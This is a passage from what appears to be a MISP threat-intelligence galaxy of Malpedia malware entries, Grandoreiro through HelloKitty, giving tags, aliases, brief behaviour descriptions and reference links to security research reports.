- Small Sieve

Table 2266. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gramdoor
https://www.cisa.gov/uscert/sites/default/files/publications/AA22-055A_Iranian_Government-Sponsored_Actors_Conduct_Cyber_Operations.pdf
https://www.mandiant.com/resources/telegram-malware-iranian-espionage
https://www.inforisktoday.com/muddywater-targets-critical-infrastructure-in-asia-europe-a-18611
https://thehackernews.com/2022/02/irans-muddywater-hacker-group-using-new.html

Grandoreiro

According to ESET Research, Grandoreirois a Latin American banking trojan targeting Brazil, Mexico, Spain and Peru. As such, it shows unusual effort by its authors to evade detection and emulation, and progress towards a modular architecture.

The tag is: *misp-galaxy:malpedia="Grandoreiro"*

Grandoreiro is also known as:

Table 2267. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.grandoreiro
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/grandoreiro-banking-malware-resurfaces-for-tax-season
http://www.interior.gob.es/prensa/noticias/-/asset_publisher/GHU8Ap6ztgsg/content/id/13552853
https://www.zscaler.com/blogs/security-research/grandoreiro-banking-trojan-new-ttps-targeting-various-industry-verticals
https://seguranca-informatica.pt/the-updated-grandoreiro-malware-equipped-with-latenbot-c2-features-in-q2-2020-now-extended-to-portuguese-banks

https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf
https://blueliv.com/resources/reports/MiniReport-Blueliv-Bancos-ESP-LAT.pdf
https://therecord.media/spain-arrests-16-for-distributing-the-mekotio-and-grandoreiro-banking-trojans/
https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/
https://securelist.com/the-tetrade-brazilian-banking-malware/97779/

GrandSteal

The tag is: *misp-galaxy:malpedia="GrandSteal"*

GrandSteal is also known as:

Table 2268. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.grandsteal
http://www.peppermalware.com/2019/03/analysis-of-net-stealer-grandsteal-2019.html

Graphite

Trellix describes Graphite as a malware using the Microsoft Graph API and OneDrive for C&C. It was found being deployed in-memory only and served as a downloader for Empire.

The tag is: *misp-galaxy:malpedia="Graphite"*

Graphite is also known as:

Table 2269. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.graphite
https://www.trellix.com/en-gb/about/newsroom/stories/threat-labs/prime-ministers-office-compromised.html

Graphon

The tag is: *misp-galaxy:malpedia="Graphon"*

Graphon is also known as:

Table 2270. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.graphon

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/harvester-new-apt-attacks-asia

GraphSteel

This malware was seen during the cyberattacks on Ukrainian state organizations. It is one of two used backdoors written in Go and attributed to UAC-0056 (SaintBear, UNC2589, TA471).

The tag is: *misp-galaxy:malpedia="GraphSteel"*

GraphSteel is also known as:

Table 2271. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.graphsteel
https://www.cybercom.mil/Media/News/Article/3098856/cyber-national-mission-force-discloses-iocs-from-ukrainian-networks/
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war
https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview
https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/
https://cert.gov.ua/article/38374
https://www.intezer.com/blog/research/elephant-malware-targeting-ukrainian-orgs/
https://www.govinfosecurity.com/cyber-espionage-actor-deploying-malware-using-excel-a-18830
https://www.mandiant.com/resources/spear-phish-ukrainian-entities
https://www.sentinelone.com/blog/threat-actor-uac-0056-targeting-ukraine-with-fake-translation-software/

Grateful POS

POS malware targets systems that run physical point-of-sale device and operates by inspecting the process memory for data that matches the structure of credit card data (Track1 and Track2 data), such as the account number, expiration date, and other information stored on a card's magnetic stripe. After the cards are first scanned, the personal account number (PAN) and accompanying data sit in the point-of-sale system's memory unencrypted while the system determines where to send it for authorization. Masked as the LogMein software, the GratefulPOS malware appears to have emerged during the fall 2017 shopping season with low detection ratio according to some of the earliest detections displayed on VirusTotal. The first sample was upload in November 2017. Additionally, this malware appears to be related to the Framework POS malware, which was linked to some of the high-profile merchant breaches in the past.

The tag is: *misp-galaxy:malpedia="Grateful POS"*

Grateful POS is also known as:

- FrameworkPOS
- SCRAPMINT
- trinity

Table 2272. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.grateful_pos
http://www.vkremez.com/2017/12/lets-learn-reversing-grateful-point-of.html
https://norfolkinfosec.com/pos-malware-used-at-fuel-pumps/
https://content.fireeye.com/m-trends/rpt-m-trends-2020
https://usa.visa.com/dam/VCOM/global/support-legal/documents/cybercrime-groups-targeting-fuel-dispenser-merchants.pdf
https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
https://redcanary.com/blog/frameworkpos-and-the-adequate-persistent-threat/
http://www.secureworks.com/research/threat-profiles/gold-franklin
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://community.rsa.com/community/products/netwitness/blog/2017/12/08/gratefulpos-credit-card-stealing-malware-just-in-time-for-the-shopping-season

Gratem

The tag is: *misp-galaxy:malpedia="Gratem"*

Gratem is also known as:

Table 2273. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gratem

Gravity RAT

The tag is: *misp-galaxy:malpedia="Gravity RAT"*

Gravity RAT is also known as:

Table 2274. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.gravity_rat
https://www.virusbulletin.com/blog/2018/04/gravityrat-malware-takes-your-systems-temperature/
https://securelist.com/gravityrat-the-spy-returns/99097/
https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html
https://www.ptsecurity.com/ww-en/analytics/antisandbox-techniques/

GREASE

The tag is: *misp-galaxy:malpedia="GREASE"*

GREASE is also known as:

Table 2275. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.grease
https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/

GreenShaitan

The tag is: *misp-galaxy:malpedia="GreenShaitan"*

GreenShaitan is also known as:

- eoehttp

Table 2276. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.greenshaitan
https://blog.cylance.com/spear-a-threat-actor-resurfaces

GreyEnergy

The tag is: *misp-galaxy:malpedia="GreyEnergy"*

GreyEnergy is also known as:

Table 2277. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.grey_energy
https://www.nozominetworks.com/2019/02/12/blog/greyenergy-malware-research-paper-maldoc-to-backdoor/
https://blog.nviso.eu/2022/02/24/threat-update-ukraine-russia-tensions/

https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf
https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf
https://securelist.com/greyenergys-overlap-with-zebrocy/89506/
https://attack.mitre.org/groups/G0034
https://github.com/NozomiNetworks/greyenergy-unpacker
https://www.secureworks.com/research/threat-profiles/iron-viking
https://www.eset.com/int/greyenergy-exposed/

GRILLMARK

This is a proxy-aware HTTP backdoor that is implemented as a service and uses the compromised system’s proxy settings to access the internet. C&C traffic is base64 encoded and the files sent to the server are compressed with aPLib.

The tag is: *misp-galaxy:malpedia="GRILLMARK"*

GRILLMARK is also known as:

- Hellsing Backdoor

Table 2278. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.grillmark
https://content.fireeye.com/m-trends/rpt-m-trends-2019
https://securelist.com/the-chronicles-of-the-hellsing-apt-the-empire-strikes-back/69567/

GRIMAGENT

GRIMAGENT is a backdoor that can execute arbitrary commands, download files, create and delete scheduled tasks, and execute programs via scheduled tasks or via the ShellExecute API. The malware persists via a randomly named scheduled task and a registry Run key. The backdoor communicates to hard-coded C&C servers via HTTP requests with portions of its network communications encrypted using both asymmetric and symmetric cryptography. GRIMAGENT was used during some Ryuk Ransomware intrusions in 2020.

The tag is: *misp-galaxy:malpedia="GRIMAGENT"*

GRIMAGENT is also known as:

Table 2279. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.grimagent

https://www.mandiant.com/resources/fin12-ransomware-intrusion-actor-pursuing-healthcare-targets
https://blog.group-ib.com/grimagent
https://twitter.com/bryceabdo/status/1352359414746009608
https://gibnc.group-ib.com/s/Group-IB_GrimAgent_analysis#pdfviewer

GrimPlant

This malware was seen during the cyberattacks on Ukrainian state organizations. It is one of two used backdoors written in Go and attributed to UAC-0056 (SaintBear, UNC2589, TA471).

The tag is: *misp-galaxy:malpedia="GrimPlant"*

GrimPlant is also known as:

Table 2280. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.grimplant
https://www.cybercom.mil/Media/News/Article/3098856/cyber-national-mission-force-discloses-iocs-from-ukrainian-networks/
https://blog.malwarebytes.com/threat-intelligence/2022/04/new-uac-0056-activity-theres-a-go-elephant-in-the-room/
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war
https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview
https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/
https://cert.gov.ua/article/38374
https://www.intezer.com/blog/research/elephant-malware-targeting-ukrainian-orgs/
https://www.govinfosecurity.com/cyber-espionage-actor-deploying-malware-using-excel-a-18830
https://www.mandiant.com/resources/spear-phish-ukrainian-entities
https://www.sentinelone.com/blog/threat-actor-uac-0056-targeting-ukraine-with-fake-translation-software/

GROK

The tag is: *misp-galaxy:malpedia="GROK"*

GROK is also known as:

Table 2281. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.grok
https://securelist.com/equation-the-death-star-of-malware-galaxy/68750/

GRUNT

The tag is: *misp-galaxy:malpedia="GRUNT"*

GRUNT is also known as:

Table 2282. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.grunt
https://www.telsy.com/download/5776/?uid=aca91e397e
https://blog.talosintelligence.com/2020/02/building-bypass-with-msbuild.html
https://twitter.com/ItsReallyNick/status/1208141697282117633
https://ti.qianxin.com/blog/articles/Suspected-Russian-speaking-attackers-use-COVID19-vaccine-decoys-against-Middle-East/

gsecdump

The tag is: *misp-galaxy:malpedia="gsecdump"*

gsecdump is also known as:

Table 2283. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gsecdump
https://attack.mitre.org/wiki/Technique/T1003

GUP Proxy Tool

The tag is: *misp-galaxy:malpedia="GUP Proxy Tool"*

GUP Proxy Tool is also known as:

Table 2284. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gup_proxy
https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks

Gwisin

Ransomware.

The tag is: *misp-galaxy:malpedia="Gwisin"*

Gwisin is also known as:

Table 2285. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gwisin
https://www.skshieldus.com/download/files/download.do?o_fname=%EA%B7%80%EC%8B%A0(Gwisin)%20%EB%9E%9C%EC%84%AC%EC%9B%A8%EC%96%B4%20%EA%B3%B5%EA%B2%A9%20%EC%A0%84%EB%9E%B5%20%EB%B6%84%EC%84%9D%20%EB%A6%AC%ED%8F%AC%ED%8A%B8.pdf&r_fname=20220824150111854.pdf
https://asec.ahnlab.com/en/37483

H1N1 Loader

The tag is: *misp-galaxy:malpedia="H1N1 Loader"*

H1N1 Loader is also known as:

Table 2286. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.h1n1
https://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities

HabitsRAT (Windows)

The tag is: *misp-galaxy:malpedia="HabitsRAT (Windows)"*

HabitsRAT (Windows) is also known as:

Table 2287. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.habitsrat
https://www.intezer.com/blog/malware-analysis/habitsrat-used-to-target-linux-and-windows-servers/
https://www.intezer.com/blog/malware-analysis/habitsrat-used-to-target-linux-and-windows-servers

Hacksfase

The tag is: *misp-galaxy:malpedia="Hacksfase"*

Hacksfase is also known as:

Table 2288. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hacksfase
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

HackSpy

Py2Exe based tool as found on github.

The tag is: *misp-galaxy:malpedia="HackSpy"*

HackSpy is also known as:

Table 2289. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hackspy
https://github.com/ratty3697/HackSpy-Trojan-Exploit

Hades

Ransomware.

The tag is: *misp-galaxy:malpedia="Hades"*

Hades is also known as:

Table 2290. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hades
https://www.huntandhackett.com/blog/advanced-ip-scanner-the-preferred-scanner-in-the-apt-toolbox
https://www.sentinelone.com/wp-content/uploads/2022/02/S1_-SentinelLabs_SanctionsBeDamned_final_02.pdf
https://blog.truesec.com/2021/05/05/are-the-notorious-cyber-criminals-evil-corp-actually-russian-spies/
https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf

https://www.secureworks.com/blog/hades-ransomware-operators-use-distinctive-tactics-and-infrastructure
https://www.accenture.com/us-en/blogs/security/ransomware-hades
https://www.advanced-intel.com/post/adversarial-perspective-advintel-breach-avoidance-through-monitoring-initial-vulnerabilities
https://www.bleepingcomputer.com/news/security/evil-corp-switches-to-hades-ransomware-to-evade-sanctions/
https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3
https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions
https://killingthebear.jorgetesta.tech/actors/evil-corp
https://www.accenture.com/us-en/blogs/cyber-defense/unknown-threat-group-using-hades-ransomware
https://assets.sentinelone.com/sentinellabs/sentinellabs_EvilCorp
https://twitter.com/inversecos/status/1381477874046169089?s=20
https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/
https://awakesecurity.com/blog/incident-response-hades-ransomware-gang-or-hafnium/
http://www.secureworks.com/research/threat-profiles/gold-winter

Hakbit

Hakbit ransomware is written in .NET. It uploads (some) files to be encrypted to a ftp-server. The ransom note is embedded - in earlier versions as plain string, then as base64 string. In some versions, these strings are slightly obfuscated.

Contact is via an email address hosted on protonmail. Hakbit (original) had hakbit@, more recent "KiraLock" has kiraransom@ (among others of course).

The tag is: *misp-galaxy:malpedia="Hakbit"*

Hakbit is also known as:

- Thanos Ransomware

Table 2291. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hakbit
https://medium.com/s2wlab/quick-analysis-of-haron-ransomware-feat-avaddon-and-thanos-1ebb70f64dc4
https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/

https://blog.cyble.com/2021/06/05/prometheus-an-emerging-apt-group-using-thanos-ransomware-to-target-organizations/
https://www.carbonblack.com/2020/06/08/tau-threat-analysis-hakbit-ransomware/
https://www.sekoia.io/en/the-story-of-a-ransomware-builder-from-thanos-to-spook-and-beyond-part-1/
https://unit42.paloaltonetworks.com/thanos-ransomware/
http://id-ransomware.blogspot.com/2019/11/hakbit-ransomware.html
https://unit42.paloaltonetworks.com/prometheus-ransomware/
https://www.zscaler.com/blogs/security-research/midas-ransomware-tracing-evolution-thanos-ransomware-variants
https://securityintelligence.com/posts/ransomware-encryption-goes-wrong/
https://go.recordedfuture.com/hubfs/reports/cta-2020-0610.pdf
https://www.proofpoint.com/us/blog/threat-insight/hakbit-ransomware-campaign-against-germany-austria-switzerland
https://www.cybereason.com/blog/cybereason-vs.-prometheus-ransomware
https://www.seqrite.com/blog/thanos-ransomware-evading-anti-ransomware-protection-with-riplace-tactic/
https://www.carbonblack.com/2020/06/15/tau-threat-analysis-relations-to-hakbit-ransomware/
https://securityboulevard.com/2022/03/midas-ransomware-tracing-the-evolution-of-thanos-ransomware-variants/
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://www.justice.gov/usao-edny/press-release/file/1505981/download
https://securelist.com/cis-ransomware/104452/

Hamweq

The tag is: *misp-galaxy:malpedia="Hamweq"*

Hamweq is also known as:

Table 2292. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hamweq
https://www.youtube.com/watch?v=JPvcLLYR0tE
https://www.cert.pl/wp-content/uploads/2011/06/201106_hamweq.pdf
https://www.youtube.com/watch?v=FAFuSO9oAl0
https://blag.nullteilerfrei.de/2020/05/31/string-obfuscation-in-the-hamweq-irc-bot/

Hancitor

Hancitor(aka Chanitor) emerged in 2013 which spread via social engineering techniques mainly through phishing mails embedded with malicious link and weaponized Microsoft office document contains malicious macro in it.

The tag is: *misp-galaxy:malpedia="Hancitor"*

Hancitor is also known as:

- Chanitor

Table 2293. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hancitor
https://0ffset.net/reverse-engineering/malware-analysis/reversing-hancitor-again/
https://www.binarydefense.com/analysis-of-hancitor-when-boring-begets-beacon
https://researchcenter.paloaltonetworks.com/2018/02/unit42-compromised-servers-fraud-accounts-recent-hancitor-attacks/
https://twitter.com/TheDFIRReport/status/1359669513520873473
https://www.0ffset.net/reverse-engineering/malware-analysis/hancitor-maldoc-analysis/
https://www.dodgethissecurity.com/2019/11/01/hancitor-evasive-new-waves-and-how-com-objects-can-use-cached-credentials-for-proxy-authentication/
https://www.vkremez.com/2018/11/lets-learn-in-depth-reversing-of.html
https://muha2xmad.github.io/unpacking/hancitor/
https://researchcenter.paloaltonetworks.com/2016/08/unit42-vb-dropper-and-shellcode-for-hancitor-reveal-new-techniques-behind-uptick/
https://thedfirreport.com/2021/11/01/from-zero-to-domain-admin/
https://researchcenter.paloaltonetworks.com/2018/02/unit42-dissecting-hancitors-latest-2018-packer/
https://unit42.paloaltonetworks.com/hancitor-infections-cobalt-strike/
https://www.zscaler.com/blogs/research/chanitor-downloader-actively-installing-vawtrak
https://researchcenter.paloaltonetworks.com/2016/08/unit42-pythons-and-unicorns-and-hancitoroh-my-decoding-binaries-through-emulation/
https://inquest.net/blog/2021/04/16/unearthing-hancitor-infrastructure
https://blog.group-ib.com/switching-side-jobs
https://elis531989.medium.com/dissecting-and-automating-hancitors-config-extraction-1a6ed85d99b8
https://github.com/OALabs/Lab-Notes/blob/main/Hancitor/hancitor.ipynb
https://cyber-anubis.github.io/malware%20analysis/hancitor/

https://www.vmray.com/cyber-security-blog/hancitor-multi-step-delivery-process-malware-analysis-spotlight/
https://medium.com/walmartglobaltech/man1-moskal-hancitor-and-a-side-of-ransomware-d77b4d991618
https://www.intel471.com/blog/Cobalt-strike-cybercriminals-trickbot-qbot-hancitor
https://isc.sans.edu/diary/rss/27618
https://www.silentpush.com/blog/pivoting-finding-malware-domains-without-seeing-malicious-activity
https://muha2xmad.github.io/malware-analysis/fullHancitor/
https://www.fireeye.com/blog/threat-research/2016/09/hancitor_aka_chanit.html
https://fidelissecurity.com/threatgeek/archive/me-and-mr-robot-tracking-actor-behind-man1-crypter/
https://pid4.io/posts/how_to_write_a_hancitor_extractor/
https://unit42.paloaltonetworks.com/wireshark-tutorial-hancitor-followup-malware/
https://thedfirreport.com/2021/06/28/hancitor-continues-to-push-cobalt-strike/
https://www.proofpoint.com/us/threat-insight/post/hancitor-ruckguv-reappear
https://www.uperesia.com/hancitor-packer-demystified
https://blog.group-ib.com/prometheus-tds
https://www.malware-traffic-analysis.net/2021/09/29/index.html
https://www.0ffset.net/reverse-engineering/malware-analysis/hancitor-analysing-the-main-loader/
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/hancitor-making-use-of-cookies-to-prevent-url-scraping
https://malware-traffic-analysis.net/2021/09/29/index.html
https://medium.com/@crovax/extracting-hancitors-configuration-with-ghidra-7963900494b5
https://blog.minerva-labs.com/new-hancitor-pimp-my-downloader
https://isc.sans.edu/forums/diary/Hancitor+activity+resumes+after+a+hoilday+break/26980/
https://blog.group-ib.com/hancitor-cuba-ransomware

HappyLocker (HiddenTear?)

The tag is: *misp-galaxy:malpedia="HappyLocker (HiddenTear?)"*

HappyLocker (HiddenTear?) is also known as:

Table 2294. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.happy_locker

HARDRAIN (Windows)

The tag is: *misp-galaxy:malpedia="HARDRAIN (Windows)"*

HARDRAIN (Windows) is also known as:

Table 2295. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hardrain
https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf
https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf

Harnig

The tag is: *misp-galaxy:malpedia="Harnig"*

Harnig is also known as:

- Piptea

Table 2296. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.harnig
https://www.fireeye.com/blog/threat-research/2011/03/a-retreating-army.html
https://www.fireeye.com/blog/threat-research/2011/08/harnig-is-back.html

Haron Ransomware

The tag is: *misp-galaxy:malpedia="Haron Ransomware"*

Haron Ransomware is also known as:

Table 2297. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.haron
https://threatpost.com/ransomware-gangs-haron-blackmatter/168212/
https://medium.com/walmartglobaltech/decoding-smartassembly-strings-a-haron-ransomware-case-study-9d0c5af7080b

HavanaCrypt

The tag is: *misp-galaxy:malpedia="HavanaCrypt"*

HavanaCrypt is also known as:

Table 2298. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.havana_crypt
https://www.trendmicro.com/en_us/research/22/g/brand-new-havanacrypt-ransomware-poses-as-google-software-update.html

Havex RAT

Havex is a remote access trojan (RAT) that was discovered in 2013 as part of a widespread espionage campaign targeting industrial control systems (ICS) used across numerous industries and attributed to a hacking group referred to as "Dragonfly" and "Energetic Bear". Havex is estimated to have impacted thousands of infrastructure sites, a majority of which were located in Europe and the United States. Within the energy sector, Havex specifically targeted energy grid operators, major electricity generation firms, petroleum pipeline operators, and industrial equipment providers. Havex also impacted organizations in the aviation, defense, pharmaceutical, and petrochemical industries.

Once installed, Havex scanned the infected system to locate any Supervisory Control and Data Acquisition (SCADA) or ICS devices on the network and sent the data back to command and control servers. To do so, the malware leveraged the Open Platform Communications (OPC) standard, which is a universal communication protocol used by ICS components across many industries that facilitates open connectivity and vendor equipment interoperability. Havex used the Distributed Component Object Model (DCOM) to connect to OPC servers inside of an ICS network and collect information such as CLSID, server name, Program ID, OPC version, vendor information, running state, group count, and server bandwidth.

Havex was an intelligence-collection tool used for espionage and not for the disruption or destruction of industrial systems. However, the data collected by Havex would have aided efforts to design and develop attacks against specific targets or industries.

The tag is: *misp-galaxy:malpedia="Havex RAT"*

Havex RAT is also known as:

Table 2299. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.havex_rat
https://www.f-secure.com/weblog/archives/00002718.html
https://www.cisa.gov/uscert/ncas/alerts/aa22-083a
https://pylos.co/2020/11/04/the-enigmatic-energetic-bear/
https://vblocalhost.com/uploads/VB2021-Slowik.pdf
https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors

https://www.secureworks.com/research/threat-profiles/iron-liberty

HAWKBALL

HAWKBALL is a backdoor that attackers can use to collect information from the victim, as well as to deliver payloads. HAWKBALL is capable of surveying the host, creating a named pipe to execute native Windows commands, terminating processes, creating, deleting and uploading files, searching for files, and enumerating drives.

The tag is: *misp-galaxy:malpedia="HAWKBALL"*

HAWKBALL is also known as:

Table 2300. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hawkball
https://www.fireeye.com/blog/threat-research/2019/06/government-in-central-asia-targeted-with-hawkball-backdoor.html

HawkEye Keylogger

HawKeye is a keylogger that is distributed since 2013. Discovered by IBM X-Force, it is currently spread over phishing campaigns targeting businesses on a worldwide scale. It is designed to steal credentials from numerous applications but, in the last observed versions, new "loader capabilities" have been spotted. It is sold by its development team on dark web markets and hacking forums.

The tag is: *misp-galaxy:malpedia="HawkEye Keylogger"*

HawkEye Keylogger is also known as:

- HawkEye
- HawkEye Reborn
- Predator Pain

Table 2301. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hawkeye_keylogger
https://www.trustwave.com/Resources/SpiderLabs-Blog/How-I-Cracked-a-Keylogger-and-Ended-Up-in-Someone-s-Inbox/
https://www.secureworks.com/research/threat-profiles/gold-galleon
http://stopmalvertising.com/malware-reports/analysis-of-the-predator-pain-keylogger.html
https://www.ciphertechsolutions.com/roboski-global-recovery-automation/

https://researchcenter.paloaltonetworks.com/2015/10/surveillance-malware-trends-tracking-predator-pain-and-hawkeye/
https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/covid-19-cybercrime-m00nd3v-hawkeye-malware-threat-actor/
https://securityintelligence.com/posts/roboski-global-recovery-automation/
https://labs.bitdefender.com/2020/03/5-times-more-coronavirus-themed-malware-reports-during-march/?utm_campaign=twitter&utm_medium=twitter&utm_source=twitter
https://www.fortinet.com/blog/threat-research/hawkeye-malware-analysis.html
https://nakedsecurity.sophos.com/2016/02/29/the-hawkeye-attack-how-cybercrooks-target-small-businesses-for-big-money/
https://blog.talosintelligence.com/2019/04/hawkeye-reborn.html
https://cloudblogs.microsoft.com/microsoftsecure/2018/07/11/hawkeye-keylogger-reborn-v8-an-in-depth-campaign-analysis/
http://www.secureworks.com/research/threat-profiles/gold-galleon
https://www.cyberbit.com/blog/endpoint-security/hawkeye-malware-keylogging-technique/
https://www.cyberbit.com/hawkeye-malware-keylogging-technique/
https://www.fireeye.com/blog/threat-research/2017/07/hawkeye-malware-distributed-in-phishing-campaign.html
https://securelist.com/apt-trends-report-q2-2019/91897/
https://www.secureworks.com/research/gold-galleon-how-a-nigerian-cyber-crew-plunders-the-shipping-industry
https://www.govcert.ch/blog/analysis-of-an-unusual-hawkeye-sample/
https://github.com/itaymigdal/malware-analysis-writeups/blob/main/HawkEye/HawkEye.md

HDMR

HDMR is a ransomware which encrypts user files and adds a .DMR64 extension. It also drops a ransom note named: "!!! READ THIS !!!.hta".

The tag is: *misp-galaxy:malpedia="HDMR"*

HDMR is also known as:

- GO-SPORT

Table 2302. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hdmr
https://twitter.com/malwrhunterteam/status/1205096379711918080/photo/1
http://id-ransomware.blogspot.com/2019/10/hdmr-ransomware.html

HDRoot

The tag is: *misp-galaxy:malpedia="HDRoot"*

HDRoot is also known as:

Table 2303. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hdroot
https://securelist.com/i-am-hdroot-part-1/72275/
https://securelist.com/i-am-hdroot-part-2/72356/

HeaderTip

The Chinese threat actor "Scarab" is using a custom backdoor dubbed "HeaderTip" according to SentinelLABS. This malware may be the successor of "Scieron".

The tag is: *misp-galaxy:malpedia="HeaderTip"*

HeaderTip is also known as:

Table 2304. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.headertip
https://blogs.blackberry.com/en/2022/04/threat-thursday-headertip-backdoor-shows-attackers-from-china-preying-on-ukraine
https://www.sentinelone.com/labs/chinese-threat-actor-scarab-targeting-ukraine/
https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya
https://cert.gov.ua/article/38097
https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-headertip

Helauto

The tag is: *misp-galaxy:malpedia="Helauto"*

Helauto is also known as:

Table 2305. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.helauto

https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

HelloBot

The tag is: *misp-galaxy:malpedia="HelloBot"*

HelloBot is also known as:

Table 2306. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hellobot
https://documents.trendmicro.com/assets/txt/earth-berberoka-windows-iocs-2.txt

HelloKitty (Windows)

The tag is: *misp-galaxy:malpedia="HelloKitty (Windows)"*

HelloKitty (Windows) is also known as:

- KittyCrypt

Table 2307. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hellokitty
https://blog.bushidotoken.net/2022/05/gamer-cheater-hacker-spy.html
https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape
https://www.databreaches.net/babuk-re-organizes-as-payload-bin-offers-its-first-leak/
https://www.ic3.gov/Media/News/2021/211029.pdf
https://twitter.com/fwosar/status/1359167108727332868
https://blog.malwarebytes.com/threat-spotlight/2021/03/hellokitty-when-cyberpunk-met-cy-purr-crime/
https://www.crowdstrike.com/blog/new-ransomware-variant-uses-golang-packer/
https://www.cadosecurity.com/post/punk-kitty-ransom-analysing-hellokitty-ransomware-attacks
https://www.advintel.io/post/enter-karakurt-data-extortion-arm-of-prolific-ransomware-group
https://www.esentire.com/blog/conti-affiliate-exposed-new-domain-names-ip-addresses-and-email-addresses-uncovered-by-esentire
https://www.speartip.com/resources/fbi-hellokitty-ransomware-adds-ddos-to-extortion-arsenal/
https://www.cisa.gov/uscert/ncas/alerts/aa22-249a

